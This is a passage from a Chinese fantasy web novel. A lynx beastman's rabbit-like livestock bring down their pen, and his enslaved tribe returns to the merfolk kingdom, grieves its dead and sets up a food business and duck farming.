白争争为了支持自家族人的生意,去帮烬看炉子时,还顺带要了几口锅。 各种样式的,深口的炖锅,摊煎饼的锅,还有炒菜的小锅,顺带配上大铁勺。 反正人鱼现在也在试验怎么炼出来的铁好,打个锅就当顺带了。 林猫兽人们这边为着店铺准备着,白争争也为后山的事焦头烂额。 昨天晚上,长耳兽跟野鸭赶入屋里后,白争争只安排了两个兽人守着。 就怕晚上有野兽光顾,好不容易抓来的种兽被吃没了。 结果今早上打开门一瞧,长耳兽没了。 大大小小一个不剩。 莫说白争争惊住了,连守着这边的两个兽人都愣了。 “昨晚有其他野兽来过?” “没有啊。”两个兽人万分笃定。 “那它们自己跑出去的?” 圈里铺了干草,天冷了,也怕长耳兽着凉。 现在干草全堆在一个角落里去,码得高高的,白争争推开圈门进去,将干草拨开,下面一个大洞。 洞口处能清晰看到长耳兽的齿痕与抓痕。 两个兽人面色一变,将其他圈里的干草也一一捞开的。 十个圈,好几十个洞,他的地板处处是窟窿。 白争争喃喃:“好厉害。” 他们这地板用的木头做的,下面一层还夯了土。现在不止木板裂了,夯实的土都能刨个坑出来。 豹二挠了挠头,与自己哥哥豹大杵在白争争面前。 兄弟俩不好意思道:“我们再去抓。” 要知道,林子里的野兽都被抓绝了,能找出这些来,已经是那几个大部落的兽人跑了很远的地方才抓到的。 白争争道:“不用了。夯土都拦不住,除非弄石头来。” 豹大忽然动了动耳朵,一个趴地。 白争争仰头,看房子好像在动,有断断续续的咯吱咯吱声音。 “快跑!” 豹大下意识抓着自家弟弟,顺手勾过白争争就往外冲。那属于豹兽人的速度发挥到了极致。 才刚出来,只听轰隆炸响,回头一瞧—— 尘埃四起,整个木头房子直接断了柱子,塌了…… 塌了??? 白争争杵在原地,久久不语。 良久,白争争艰难地咽了咽口水,抹掉脸上的雨珠。 好险,没被压死。 豹二琥珀色的眼睛映着倾斜一半的房子,斜眼悄悄看一下白争争,心里更虚。 白争争声音有些干涩:“它们莫不是直接在房子底下筑巢了?” 豹大:“应该不会吧。” 白争争:“那就是赤裸裸的报复!” 豹二走近那坍塌的房子,侧耳听了一下,道:“要不挖出来,吃了!” 屋子底下,吱吱的声音一静。 豹二抬手就掀开木头,地里的长耳兽顿时四处逃窜。 豹大不管自己傻弟弟,问白争争道:“争争,咱还养这个吗?” 长耳兽跟白争争以前见过的野兔还是很有差别的,不说旁的,破坏力惊人。 再来几窝,他房子都禁不住造的。 白争争虚弱摆手,头发已经被雨淋得服服帖帖。 “算了,养不了。” 房子倒塌的声音太大,山坳里正在看炼铁的菱以为出了什么事儿,带上一群兽人飞快跑来。 当看到房子塌了,眼皮一跳。 见白争争跟个落汤鸡似的愣在原地,菱急步过来,抓着人的手臂转了一圈。 “受伤没有?吓到了?” 白争争摇头,头发丝儿上的雨滴甩在了菱的脸上。他不好意思道:“没事,就是出了个意外。” 那跟着菱过来的一群兽人已经跑去房子周围检查了。 “哟!这木头被啃了啊。” “看齿痕,长耳兽。” 白争争木然点头,还是没忍住委屈,头顶上因情绪波动露出来的毛耳朵耷拉。 “是,它们才住进去一天,新房子就塌了。” 菱看白争争这伤心样子,笑了下,拍拍他脑袋。摸到一手的水珠,赶紧拉着他进其他屋里。 围着坍塌的房子的人鱼朗声问:“争争,长耳兽还养不?” 白争争:“不养了。” “那我们抓了吃啊!” 说着,兽人们就一拥而上,几下将木头抬开,顺着长耳兽的洞往下刨。 洞中吱吱喳喳,愣是被兽人们逮上来十几只。 兽人们欣然,“今天中午加餐!” 白争争见菱看着自己,扯着嘴角笑了笑,不怎么好意思道:“白忙活一场。” 菱:“不还有别的。” 白争争:“那就专心养野鸭。” “嗯。” 看白争争不气馁,也没受伤,菱又带着兽人并十几只长耳兽回去了。 还在下雨,倒塌的木头房子先放在那儿吧。 白争争去其他屋里看了看野鸭,怕它们飞走,干脆拿了刀来,每一只都把飞羽剪了些。 又是一阵鸡飞狗跳,白争争头发上都插了鸭毛。 他呸呸两声,赶紧去河边把沾了脏污的手洗干净。 野鸭杂食,在野外鱼虾果子杂草什么都吃。 白争争在外都能听见他们饿极了嘎嘎叫唤的声音。 他赶紧回去,搬了一筐紫皮根出来,跟豹兽人两兄弟将紫皮根洗干净,又抬回去剁碎。 再混合米糠麦麸,加点青草,一倒进去,野鸭抢着吃。 白争争看着它们,慈爱地笑了笑。 如此,那些稻子麦子磨出来的东西也有了用处。加上紫皮根多,整个冬日这些野鸭不愁食物。 不过野鸭多,要准备它们的食物也麻烦。 豹大两兄弟负责看守,不管喂养,白争争就叫了原本的象兽人跟鹿兽人这些食草兽人来帮忙。 他们力气大,心细,白争争只说过一遍怎么弄,两个兽人就配合默契。 再有其他几个兽人就负责收拾圈里。 像那些粪便与食物残渣之类的,及时清理,免得野鸭生病。 兴许不论是人还是动物,都喜欢吃白来的食物。 野鸭就这么养着也有一段时间,一日比一日适应。 甚至喂饭时,兽人刚靠近圈边,它们就嘎嘎叫着,拍着翅膀凑过来。 白争争见状,也算是弥补了那长耳兽出逃的心灵。 那长耳兽就跟狸花猫似的,野得很。 安排了后山,白争争赶紧回去洗个热水澡,换上干燥的兽皮衣。 下午,雨点淅淅沥沥,天上乌云厚重,没个停雨的意思。 秋日里下雨就凉丝丝的。 白争争索性往床上兽皮里一团,勾着旁边烬枕头用的兽皮抱着,慢慢睡了过去。 这一觉睡得太久,醒来时,天都黑了。 白争争骨软筋麻,躺在床上挣扎了好半天,才软绵绵地坐起。 像是听到里面有声音,门被推开一道缝隙,幼崽探头来,头顶的毛耳朵还被弯折了过来。 “争争,吃晚饭了。” “嗯。”白争争晃了晃手,又软绵绵一下搭在兽皮上。 “你们先吃,马上就来。” “好哦。那你快点。” 白争争点点头,掀开兽皮,踩着兽皮鞋懒洋洋地往外走。 鼻子有点堵得慌,也不知道是不是上午淋了那会儿雨。 走到吃饭的地儿,白争争嗅到一股红烧长耳兽的味道,缓缓转头,看向一旁的菱。 菱:“嗯,长耳兽,你没想错。” 白争争拉开凳子坐过去,“我也没说啊?” 菱:“看出来的。” “尝尝,好吃。” 兽人们吃饭一人一个大的陶碗,碗里米饭盛得高高的,盖了满满一勺流着汤汁的红烧长耳兽肉。 桌子中间摆了些水果,秋日里正熟,有一股清新的果香味儿。 白争争吸了吸鼻子,只闻得到一点。 好在吃了饭,出过一点汗水,嗅觉就又回来不少。 饭后,幼崽滑下凳子,挪动着往地上铺着的兽皮一趴,昏昏欲睡。 州将小崽子们带出去收拾收拾,然后送去睡觉。 清道:“房子那边收拾得差不多了,争争,我们打算之后吃住都在那边。” 菱道:“这边不也一样,还宽敞。” 清温柔笑起来,眼里向往,“族人要回来了,我们想一起住。” 菱也不强求。 白争争道:“都可以,那我也……” “你不行!”菱立即道,“要是烬回来找不到你,被收拾的是我。可怜可怜你嫂子。” 白争争耳尖一红。 清赶紧道:“房子弄好了,就差面粉跟肉。菱,我们打算跟人鱼交换。” 菱:“要多少直接找磨坊,我给你们便宜点。” 清来吃这顿饭也是商量这事儿,白争争看着他俩谈起来了,摇了摇头,自个儿晃悠着往外走。 这雨下了一天了,胳膊露在外面都凉幽幽的。 他在门口站了一会儿,见那城堡前的高台,也忽然想学着菱一样上去瞧瞧。 想着,也就去了。 几步爬上高台,周遭被夜色笼罩。 人鱼王国尽收眼底,那些低矮漂亮的小房子成了墨团一样,有些窗口还露出些微光,依稀能听到幼崽哭闹声。 视线再远些,就是一望无际的海水。 白争争倚着栏杆,放松下来。目光逡巡着海岸,却蓦地一顿。 只见海上有黑团似在移动,白争争定睛一瞧,分明是载满了兽人的海龟。 他一惊,飞奔而下。 “菱!海边有很多兽人登岸。” 菱跑出来,迅速爬到高台上,看过之后,随即拉上白争争就往海边跑。 清追出来,一脸茫然。 什么兽人登岸…… 白争争似有所感,问前方的菱道:“回来了吗?” “是。” 菱松了手,比他还急迫,几下就不见了人。 海岸。 能运输兽人的大多是龟族兽人,他们速度没人鱼快,所以回来要了些时间。 兽人们离开南部时心惊胆跳,直到看见了海岸才松懈下来,一个个病歪歪地坐靠在一起。 海水静悄悄的,雨丝没入也无声。 一路上风吹雨打,不少兽人都生了病。 龟喧靠岸,他是中途遇到兽人队伍的,一见自己的族人,立即调个头回来,跟随他们一起。 伤残跟生病的奴隶兽人被安置在一起,兽人们小心往下送。 林猫兽人也在其中帮忙。 渐渐的,靠岸的海洋兽人越来越多。海岸边繁忙不已。 城门打开,兽人被运送进去。 他们却见两道身影,急促地往外奔跑。 白争争首先看到的是立在岸边的烬,他身量高,一眼能看见。 白争争想也不想,一个飞扑,挂在人鱼身上。 烬顺势接住,低头贴了贴他的脸。 “抱歉,久等了。” 白争争眯眼,一边蹭他一边在兽人中逡巡。 直到目光一晃,见菱直接翻越几个龟兽人,冲着一个清瘦的兽人扑过去,冲得兽人踉跄。 白争争眼睛一亮,一点没犹豫,扔下烬就跟着跑去。 “阿爸!阿父!哥哥!” 鹤才接住自己伴侣,被他抱得死死的。 他阿爸阿父在这儿,难得不好意思,想将他拉开些,却觉得脖子上微湿。 鹤手指一颤,转而拥住伴侣。 夜里黑漆漆的,但林猫兽人们听到了那声哽咽的呼唤,瞬间站起,希焦急走到龟兽人边缘道:“慢点儿!别跑!” “阿爸!” 白争争一个起跳,闷头抱住自己阿爸的腰,脑袋拱着,嘴里叫着,泪眼汪汪不敢松开。 照搂住自己的伴侣跟小崽,还未开口,先红了眼眶。 “阿父!”白争争又叫。 一双眸子在夜色下亮晶晶的。 “诶。”照心疼地摸了摸他的脸,“苦了你了。” “没有苦。我把幼崽们养得很好。”他像从前一样,在亲人面前撒娇,又忍不住想得到他们的认可,让他们看看自己多能耐。 “嗯,争争一直都很棒。” 其他林猫听了,低头抹泪。 幼崽没事就好。 鹤看看弟弟,也想拥抱。但伴侣嵌在怀里,他没空闲的手。 安抚了伴侣许久,直到靠岸了,也只跟白争争笑了笑。 “哥,回去再说。你先多抱抱嫂子,他每天都爬到那个高台上,盼着你回来。” 鹤心里沉甸甸的,轻轻顺了顺伴侣的银发。 又注意到阿爸阿父还在,正好奇看着他俩,鹤难得不好意思。 终于上了岸,烬还立在那里。 白争争上来时,他伸手接了一把。 等人上来,又拉了下,让他撞入怀中。 烬轻轻抱了抱,在他耳边低声道:“小没良心的。” “嘻,谢谢烬。”白争争狠狠抱了他一下。 海岸上忙碌了许久,也惊动了城内的兽人。他们亮起灯,悄悄来看,却见满街的兽人。 形销骨立,鬼似的,脚下都走得飘忽。看得兽人们两股战战,凑热闹的幼崽还吓得干嚎。 亮灯的人家愈发的多,人鱼只好解释:不是什么兽人攻城,而是被南部人鱼王国抓走的兽人。 兽人们一听,也不怕了,打开门正大光明地看。 那些兽人好可怜,光着脚,身上兽皮都是破的,面色枯槁,身上皮开肉绽,大大小小的伤口…… 看着看着,心软的兽人已经是泪流满面。 “南部的祸害,只知道折腾我们!怎么不直接沉了岛,将他们淹死!” 隔壁家兽人抹泪,忍不住道:“人鱼怎么淹死。” “也对……” 兽人们踮着脚,看着没有尽头的奴隶兽人队伍。人鱼跟六大部落的兽人穿插在其中,那暗红色的头发…… “王!” “王也去了!” 兽人们闻声寻找,果见烬行走在其中。他们激动道:“王,是你们去把兽人带回来的?!” 烬扫过一眼,轻轻点头。 兽人们眼里生出狂热,激动得难以自持。 “只有王才能做到!” 奴隶兽人们见多了昏暗的光线,被街道上陆续多起来的火把闪着眼睛,有些畏惧地抱团缩紧。 他们走在火焰组成的光明大道上,恍恍惚惚,看到兽人欣喜振奋的面貌,才有了逃离魔窟,回来的实感。 回来了。 “回来了啊!” “呜……”一声悲鸣,撼动了兽人们的心。 他们像是被卸下勒在脖子上的锁链,崩溃地站不稳,只一味地发泄情绪。 他们快疯了,真的快疯了。 或许人鱼晚一天来,他们之中就又有不知多少个兽人忍不住,撞墙而死。 围观的兽人们渐渐低下声来,只安静举着火把,回头抹泪。 渐渐的,兽人的哭声一个传一个,一个传一个。 围观的兽人从各处跑来,越来越多。 白争争撑住自己哭得上气不接下气的阿爸,眼中含泪,依恋地拱着亚兽人的肩膀。 “阿爸,阿爸,回来了。” 照摸摸白争争的头发,又将自己伴侣背起来,一手牵着白争争,慢慢往前挪动。 鹤也看着自己被紧紧抓着的手,动了动,被漂亮的人鱼横了一眼。 火光中,鹤看着他通红的眼尾,唇动了动,没忍住轻轻摸了摸。 菱眼神一下子就软了。 兽人发泄着情绪,人鱼们跟六大部落的兽人只好停下来等着。 围观的兽人如洪水涌来,一传十,十传百,兽人皆知,人鱼王将被南部抓去的兽人带回来了。 兽人们静了一瞬,随即疯狂。 那这里面会不会有他们失踪的伴侣、幼崽、族人! 烬皱眉,看了眼秋。 秋立即带人鱼跟赶来的王城护卫一起,将奴隶兽人们隔在中间。 秋高声道:“各回各家,不要挡道!兽人不会跑,明天部落族长来认领兽人!” 奴隶兽人也反应过来,爬起来,继续走。 兽人太多,十个当中九个都挨了打。有些伤口早好了又添新伤。有些没好透,落下病根儿。 祭司命跟回来的这一路,已经把最严重的治了。但草药不够,剩下的还得回来再看。 一晚上,奴隶兽人们踏入人鱼王国内,辗转反侧,没有睡意。 秋跑来跑去,安抚了这个,又安抚那个。 命道:“得让他们睡一觉。” 没法子,秋最后找到鹤。 刚推开菱房间的门,却见亚兽人坐在鹤的腹部,手撩着他那枯草一样的头发,一脸嫌弃。 秋咳嗽两声。 鹤猛地坐直,身上的菱往后倒去,他一把勾住,紧紧抱在怀里。 菱像是一点不知羞,攀着自家伴侣的肩膀,冷冷地扫过来。 伴侣都回来了,还这么凶! 秋立即道:“祭司说现在那些兽人要赶紧睡一觉,可他们一个比一个兴奋,我就想着你上次不是有那个让兽人闻一闻就犯困的药?” 鹤是到了城堡直接被菱拉来的。 当时阿爸阿父还有弟弟都在旁边,可他们只笑着看,不管。 阿爸说现在安慰好伴侣最重要,毕竟都回来了,有的是时间叙旧。 鹤也不想让自己伴侣难受,就跟着来了。 闻言他道:“我把草药配方告诉你。” “你说!” 鹤看了看没打算从自己身上下去的伴侣,无奈揉了揉他一头银发,低低告诉秋。 秋知道后赶紧走,贴心带上门。 菱闷哼一声,软乎乎滑下来。 又嫌弃他兽皮粗糙,随手一抓,撕开扔掉,最大面积地与他贴近。 鹤早知他的德行,下巴挨着银发道:“脏。” 菱:“我不嫌。” “我嫌。”鹤将伴侣抱起,径直走下水池,银发如水藻浮动,飘在自己肩上。 鹤摸了摸伴侣的脸,“我回来了。” “嗯。”菱猛扑,将他缠得更紧,“担心死我了。” “对不起。” “要补偿。” “好。” 菱抬头,清凌凌的眼睛被油灯映得熠熠生辉,鹤情不自禁亲了亲伴侣的眼角。 下一瞬,人鱼尾巴缠绕住身子,拉他沉入水中。 第60章 第 60 章 安顿 阿爸跟阿父回来了, 白争争就像个小尾巴一样跟在他们身后。 烬要处理带回来的兽人的事,看了他一眼,先去忙了。 林猫族人们此时都汇聚在一起,安顿在一个屋子。白争争数了一下, 紧紧抓住希的手, 往他身边靠了靠。 希感受到自家小崽的失落, 怜爱地搂过他, 粗糙的手轻轻摸了摸他的脸。 “崽崽, 阿爸回来了不高兴?” “高兴。”白争争抱住自己阿爸的腰, 脑袋埋在他怀里。 唇哆嗦着, 极力忍住眼眶中那股酸涩。 他们林猫部落兽人原本有两百来个, 那场斗争中死了一些,之后又不知经历了多少,现在老年兽人一个都没有了,百来兽人,只剩五六十个。 白争争咬着牙, 疼痛刺激着, 不敢表现出来。 希不经意扫过虚弱的族人, 眼中落寞。 照按了按他的肩膀,又摸了摸白争争的头发。 能回来,就已经是他们的奢望了。 门口人鱼王国的兽人推门进来,拎着一罐子的草药水。他见白争争也在,点头一笑,对林猫也友善道:“都喝点,祭司熬出来治病的。” 林猫兽人们动了动,主动上前来。 人鱼救了他们,不好再麻烦人家。 喝过草药水后, 又各自躺回去。 白争争嘴唇动了动,轻轻对希道:“阿爸,幼崽……” 希微不可见地摇头。 这会儿太晚了,兽人们也累,让幼崽们好好睡个觉,明天见面。 何况,不是所有幼崽的阿爸阿父都回来了。 这一趟,他们损失了一半以上的族人。 白争争倚着自己阿爸,抓着他的手,指腹轻轻划过他掌心的粗茧与伤口。 阿爸以前的手不是这样的。 在部落的时候阿爸虽然也要做采集的活儿,但在家里都是阿父干活。 阿爸的手指细长,掌心是软乎的。可现在手指都变了形,还有一根手指明显扭曲了。 白争争捏着骨头,这是断了没长好的。 希见自家崽子垂着眼睫,反反复复抓着自己手看,不用想也知道他惦记着什么。 希蒙住他的眼睛,像小时候一样轻轻拍着他的背。 “睡一会儿吧。” 白争争怕压到他,干脆变做林猫样子,窝在他怀里。 希目光柔和,也不知是不是药效发挥了作用,也有些昏昏欲睡,脑袋挨着伴侣,浅浅睡去。 白争争嗅着希身上的温暖味道,听到他睡熟了,才缓缓抬起头。 余光忽见门口呆立着的清。 他静立角落里,盯着喝了药已经昏睡过去的亚兽人,目不转睛。 白争争起身,放轻了动作跳出希的怀抱,叼着兽皮悄然走到他身边。 “清清。” 清眼睫轻轻颤了一下。 白争争变成人形,绑上兽皮,随后就被清拉着往边上走了两步。 门内的油灯照不到这一处,四周暗淡。 他听到清问:“林猫兽人是不是都在这里了……” 他声音泛哑,一字一字往外吐得艰难。 白争争喉咙堵塞,低下头:“嗯。” 白争争感觉手腕上的手在发颤,忙反手将他握住,抓得死紧。 “清清。” 清无声咬着唇,已经是泪流满面。 “阿父没回来,年的阿爸阿父都不在,还有肉的、芽的、风的……好多都不在。” 黑暗中走出来一个兽人,是年。 年冲着他一笑,眼里却满是伤感。 他听见了。 “争争,清清没回来睡觉,我来看看。” 他走近,将清接过来,低声地哄。 白争争深吸了口气,缓缓吐出,克制着情绪道:“幼崽醒了吗?” 年道:“没有,风他们也没醒。” 四周昏暗,只屋里有一盏油灯。 雨下得大了,白争争拉着两个兽人去屋檐下站着。他看了看屋内。 “要不去见见?” 年:“明天吧。” 他额前的发沾了雨,贴在脸上有些狼狈。 他将清抱起,抱得紧紧的,随后闯入雨幕中。 白争争见他是往新房子那边走的。 或许现在不适合回去,两个兽人需要单独的空间发泄一下情绪。 白争争转身靠着门框,视线落在屋内。 阿爸靠着阿父睡了。 他身子骨虚弱,面色白得吓人。要不是哥哥当时硬要过去,或许他的阿爸也会…… 白争争垂眸,心中情绪翻涌,克制得紧紧抓住门框,不敢表现出现。 手指被轻轻勾了勾。 他懒懒抬眼。 烬不知什么时候来的,抓过他的手拢住,微低下声,平视着他。 “还不回去睡觉?” 白争争冲着他笑,但发现笑不出来。 “睡不着。” 烬上前一步,勾着他的脑袋靠在自己肩膀。 族人虽然回来了,但是那么多的幼崽失去了亲人。白争争不知道明天该怎么安抚。 白争争:“你忙了这么久,回去吧。” 烬:“嗯。” 雨淅淅沥沥,没完没了似的。屋檐下飘了雨,都被烬挡在身后,白争争一点没沾湿。 他没什么精神,站在门外,看着自己的族人。 发了一会儿呆,见烬还立在身侧,白争争想罢,双手挂在烬的脖子上,低低道:“我困了。” 烬倾身抱起,将门关严实了,带他回到城堡中。 白争争靠在烬的胸口躺下。 四周漆黑,他闭着眼睛调整呼吸。 不知道多久,等察觉到烬睡着了,才缓缓睁开眼,目光涣散,对着夜色发呆。 再怎么期盼着第二天晚一点来,但天还是亮了。 烬起身时小心翼翼。 白争争闭上眼睛,没有动。等他离开,他才坐起来。 “咚咚咚……” 门被频繁地敲击,伴随着幼崽欢快的声音:“争争起来吃饭了!” “争争,太阳晒屁股了!” “争争,好饿好饿好饿!” 白争争深吸一口气,搓了搓脸,扬起笑来将门打开。 “早上好。” 大大小小的幼崽堆在门口,仰头道:“早上好!” 白争争往外走,问:“清跟年呢?” “烬说他们去新房子了。”幼崽一蹦一跳跟在他身边,看起来心情不错。 白争争道:“那先吃饭吧。” “今天菱也没来,烬说他自己吃。”幼崽道。 白争争:“嗯,他可能还没睡醒。” 早饭后,圆拿上小藤筐,雁跟启已经挎着小兽皮袋跟在她身边。 “争争,我们找贝壳去了!” 白争争张了张嘴,最后还是不敢说。 三个兽人走出了城堡,正巧在门口碰见回来的清跟年。 幼崽矮,一仰头就能看清两个兽人的脸。 只见他两个情绪低迷,鼻头跟眼尾还红着呢。脸都有点儿肿肿的。 雁抓着清的手,小声问:“清清,你怎么了?” 她又转个头,凶巴巴道:“年,你是不是跟清清吵架了!” 清道:“没有。” 他与年牵得紧紧的,也不像是受了欺负的样子。 清看向白争争。 “争争,新房子那边都收拾好了。” 这会儿城堡附近很热闹,幼崽们听到很多哭闹的声音,心里好奇,但眼前还有问题没解决。 他们齐齐蹲在年跟清的面前,看来看去,也没看出个所以然来。 白争争道:“走吧。” 幼崽们跟上白争争,脑子里还纠结着年跟清的事儿。 可随着他们往哭闹声传出的地方越靠近,见到的瘦脱了形的兽人越多,心里也越没底。 幼崽纷纷抓着几个成年兽人的手,安静下来。 穿过来接兽人回部落的兽人队伍,白争争带领着幼崽们,向着一个方向坚定前行。 到了门口,他停步,回头看幼崽。 幼崽们却害怕地往后缩了缩。 “争争……” 白争争徐徐道:“我们刚刚看到的那些是被抓走的奴隶兽人,昨天晚上被送回来的。” 幼崽似有所感,看向那个没有声音的屋子。 “族人……” 白争争点点头。 清跟年走到门前,轻轻推开。 他们先进去,里面的兽人像是没预料到幼崽们此时过来,慌慌张张,又下意识看向照。 “族长。”清先开口。 照点点头,“都来了。” 清:“都来了。” 清低下头,见小心翼翼看来的中年亚兽人,拉着年走过去,蹲在他的面前。 “阿爸。” 清阿爸轻轻一笑,先红了眼眶。 清没问自己阿父去了哪里,也没问年的。 两个兽人默契地变做小小的林猫,贴在一起,静静看着中年亚兽人。 清的阿爸别开头,哽咽地抹了泪,然后将两个林猫抱紧。 “对不起……” 清脑袋贴着他的脖子,“阿爸,我想你。” 幼崽在门口踟蹰,里面的成年兽人感觉到幼崽的害怕,调整了心情,走到门口。 绒球的阿父蹲下来,轻轻拍了拍手。 “乖崽,来,阿父看看。” 其他成年兽人看见了自己的崽子,纷纷蹲下来,小心道: “苗苗……” “桐,长大了啊。” “……” 幼崽一个去牵着一个,难以置信地看着他们。 小嘴巴紧紧抿住,看到熟悉的面孔,瘪嘴忍得直颤。触及到自己亲兽人眼里的期待与心疼,哇的一声,大哭着跑过去。 里面的成年兽人哪里还坐得住,抱住自家崽子,像要嵌入骨血里去。 又见孤零零站在门口的几个幼崽,心尖一颤,也搂过来抱住。 雁勾着圆阿姆的脖子,呆呆的。 他一个兽人一个兽人地看去,没有自己的亲族。 屋子里嘈杂,找到依靠的幼崽哭尽了委屈,成年兽人们也跟着落泪。 白争争站在门外,忐忑地看着那些没亲兽人的幼崽,忍不住攥紧了兽皮。 照看自家小崽面色不对,揉了揉他的脑袋道:“一切有阿父在。” 白争争迷茫。 “阿父,怎么办啊……” 照:“总要知道,也总会过去的。” 他是林猫的族长,照顾幼崽是整个部落都该做的事情。幼崽没了父母,族人会充当他们的父母。 只是,需要时间。 时间长了,幼崽大了,这些伤感才会慢慢从心中淡去。 过了会儿,几个幼崽冲着照围拢过来。 “族长,我们的阿爸呢?” 照弯腰,挨着将幼崽抱起来。 “他们先去天上了,变成了星星看着幼崽。” “可是我们不要他们变成星星……”几个幼崽神色仓皇看着照,“族长,你可不可以跟他们说一声,让他们变回来啊。” 白争争胸口一胀,别开头。 照是个稳重的大家长,幼崽面前,他如山一样高。 幼崽相信他说的话,也觉得他无所不能。 但照却道:“我变不回来,但有一个办法可以跟他们见面。” “什么办法?” “好好吃饭,好好睡觉,他们看见了就会来见你们。” “真的吗?”幼崽哭得鼻尖红红,小手握紧了拳头,求证似地看着照。 照点头:“族长不骗幼崽。” “好,我们听话。”肉哽咽,脑袋往照肩膀上一埋,呜咽哭出声来。 白争争受不住,往门外走了几步。 正好看着鹤带着菱过来,他低低道:“哥,嫂子。” 菱弹了下他额头。 “振作点。” 鹤看弟弟额头红了,抓着伴侣的手不让他再动。 屋里乱糟糟的,哭声不止。 鹤也立在外面,没打算进去。 不知道过了多久,屋里的动静小了。 幼崽哭累了,挨着自己的亲人抽噎,紧紧抱着不放。 白争争道:“哥,我们在王国里买了个房子,等会儿带族人去那边吧。” 鹤给他顺了顺毛,“我知道。这些日子,辛苦你了。” 白争争:“嗯。” 又过了一会儿,照抱着几个幼崽出来。身后族人也互相搀扶着,抱着或牵着幼崽,跟着照。 “争争,带我们过去吧。” 新房子里边的东西刚弄好,生意也没开始做。照看了一眼,先把兽人们安排进去。 兽人们经此一遭,元气大伤。 身体恢复能力再强,没几个月也恢复不过来。 照嘱咐兽人好好休息,开始操心起兽人们的生存问题。 这是在人鱼王国,部落之间各自有领地划分,还不知道哪里能捕猎。 他想知道人鱼王国这边的情况,看小崽也熟,便开口问了问。 白争争听自家阿父的意思是要找地方捕猎,他道:“阿父,这边野兽少,没地方捕猎。” “那哪来的吃?” “他们大多靠自己种植。王国里的东西都是用银币买,我们打算做食物换银币,只是还没开始。” 鹤道:“阿父,我能跟人鱼换不少食物,可以吃一段时间。” 菱道:“食物暂时不缺,你们好好养伤。” 部落里的成年兽人回来了,兽人们的生计用不着白争争操心。 但幼崽每天都无精打采的,白争争看着着急,只盼着他们能多吃一些。 他这边在林子里摘了不少果子出来,正要提着给兽人们送去。刚下后山,在城堡侧边的海岸遇到了幼崽。 白争争道:“雁,你们跑到海边干什么?快跟我回去。” 雁爬起来,牵着白争争的衣摆。 “争争,我们想问你事。” 白争争:“出来跟族长说没?” 雁道:“说了,我们跟圆出来捡贝壳。” 白争争将篮子放下,坐在幼崽刚刚蹲过的石头上。他选了几个果子,递给幼崽,才说:“问什么?” “阿爸、阿爸……”雁手掌擦着果子,泪花啪嗒一下落在手背,“阿爸是不是死了。” 白争争喉咙一哽。 “雁……” 肉呜咽道:“那为什么他们宁愿变成星星都不愿意回来,他们说了最爱我的!我阿爸不会扔下我的!” 芽没哭,抱着膝盖挨着白争争,一动不动看着海面。 雁道:“我是大兽人了,我什么都知道。我问了人鱼,他们说奴隶兽人都带回来了,可是就是没有阿爸他们。龟鸣的阿父说,那边死了很多兽人……争争,阿爸是不是死了?” 白争争看着她眼角挂着泪,还一脸倔强地仰着头求证,心里憋闷得慌。 他轻轻喘了口气,道:“听族长的好不好。” 就当他们变成了星星,只要健康长大,他们会来看幼崽的。 雁猛扑在白争争身上,边哭边恨声道:“阿爸肯定受了很多委屈,他们欺负阿爸,我要弄死他们!” 肉也抱过来,鼓着鼻涕泡。 “弄死他们!” 白争争视线朦胧,心疼得呼吸不畅。 “争争,你说过帮人鱼就是帮我们自己,我现在明白了。我要跟着你,我帮你干活,让人鱼给阿爸报仇。” 幼崽十多岁了,早已经知事。 白争争瞒不住,也不忍心直接告知。 失去双亲的幼崽有大半,找过来的就只有他们三个,肯定是约好了的。 幼崽眼里满是仇恨,白争争搂住她起伏不停的小身子,顺着气儿道:“跟着我就跟着我吧。” 雁再也憋不住,委屈地抱着白争争道:“为什么啊,为什么阿爸不回来。” “我那么听话,那么乖……争争,我好想他们啊!” 芽低下头,脑袋靠在膝盖,身子哆嗦着。 白争争连带他一块儿搂住,摸摸这个,又拍拍那个,心里生气一股戾气。 被抓去的兽人虽然已经被带回来了,但南部的人鱼一天没解决,兽人们的日子一日不安生。 只有人鱼王国强大,能灭了他们才行。他必得把这养殖搞好,让兽人们吃上肉,身强体壮才能打。 沙滩远处,圆跟启捡着贝壳,担忧地往岸边看了看。 启默默道:“哭了。” 圆:“总算哭了。” 人鱼王国里热闹了半个月。 奴隶兽人当中,有些本来就是王国内的,已经被各部落族长领了回去。 有些则像林猫一样,是其他环岛被抓走的。 王国养了兽人半个月,等他们身体好得差不多了,问过他们意愿,愿意回原部落的,就派兽人送他们回去。 愿意落脚在王国的,也划出些地块儿供他们居住。 不过之后的生存问题就需要兽人们自己考虑。 在王国里捕猎困难,最好是赚取银币,交换食物养活自己。 期间,林猫部落的麦饼店也开了起来。 成年亚兽人们手巧,看清跟州做过几遍,学会了之后还能做出花样来。 饼子一开卖,因着之前在后山培养的客源,当天就售空。 之后名声打出去,兽人们都是靠抢才买得到。 林猫兽人有了获取银币的途径,加上族长也在,便安心待了下来。 白争争守了他们很久,一直被兽人们异样的眼光看着。 他有些纳闷,自己也没做什么事吧。 最后他实在忍不住,拉了个兽人问缘由。 兽人不好意思,又忍不住道:“大伙儿说,你跟王分开了,住在后头呢。现在出来卖食物,王都不管。” 好可怜的亚兽人。 兽人看白争争的眼里泛着同情。 白争争臊得耳红。 他阿爸跟阿父,还有族人们都在呢,这说的是什么。 白争争义正言辞:“胡说八道,我在后上养野鸭。其他的事儿都是假的。” 兽人不信。 “真的假的?” “真的真的……”白争争被一群林猫兽人盯着,如芒在背。很想捏住一分钟前的自己的嘴巴。 兽人:“那玩意儿能养?” 白争争胡乱点点头,不敢让兽人再开口,赶紧送他走了。 转过身,看他阿父瞥来一眼,也不知道怎么有些心虚。他匆匆道:“阿父,我明天就去后山忙了。” 再待下去,他臊得慌。 照慢慢点头,看着自家崽若有所思。 次日一早,白争争在新房子吃过早饭后就带着幼崽出发。 最近野鸭开始生蛋了,白争争带幼崽去后山,无非就是让他们帮忙捡蛋。 铺子那边有自家成年兽人撑着,清闲不住,就带着幼崽过来给这边干活儿的兽人做饭。 野鸭多,一天能捡一篮子蛋。 白争争分出十多个让幼崽给清送去,做饭用。 清锅里倒了油,鸭蛋往锅边一敲,里面的蛋黄蛋清落在锅里。 雁看着上面一个小小的红点儿,道:“有小崽崽了!” 清也是一愣。 “叫争争来。” “争争!蛋里有小宝宝了!”幼崽高声喊,白争争立即跑过来。看了一眼锅里,喘口气道:“其他呢,看看。” “万一都有不是浪费?”清犹豫。 白争争:“不差这几个。” 他帮着把蛋敲开,十个里面有四个是受精卵。白争争精神一振,可算是能孵小鸭子了。 他急匆匆往回走,边道:“雁,点个油灯来,咱把蛋挑出来。” 几个小家伙被白争争使唤,转身就往兽人睡觉的屋子跑。 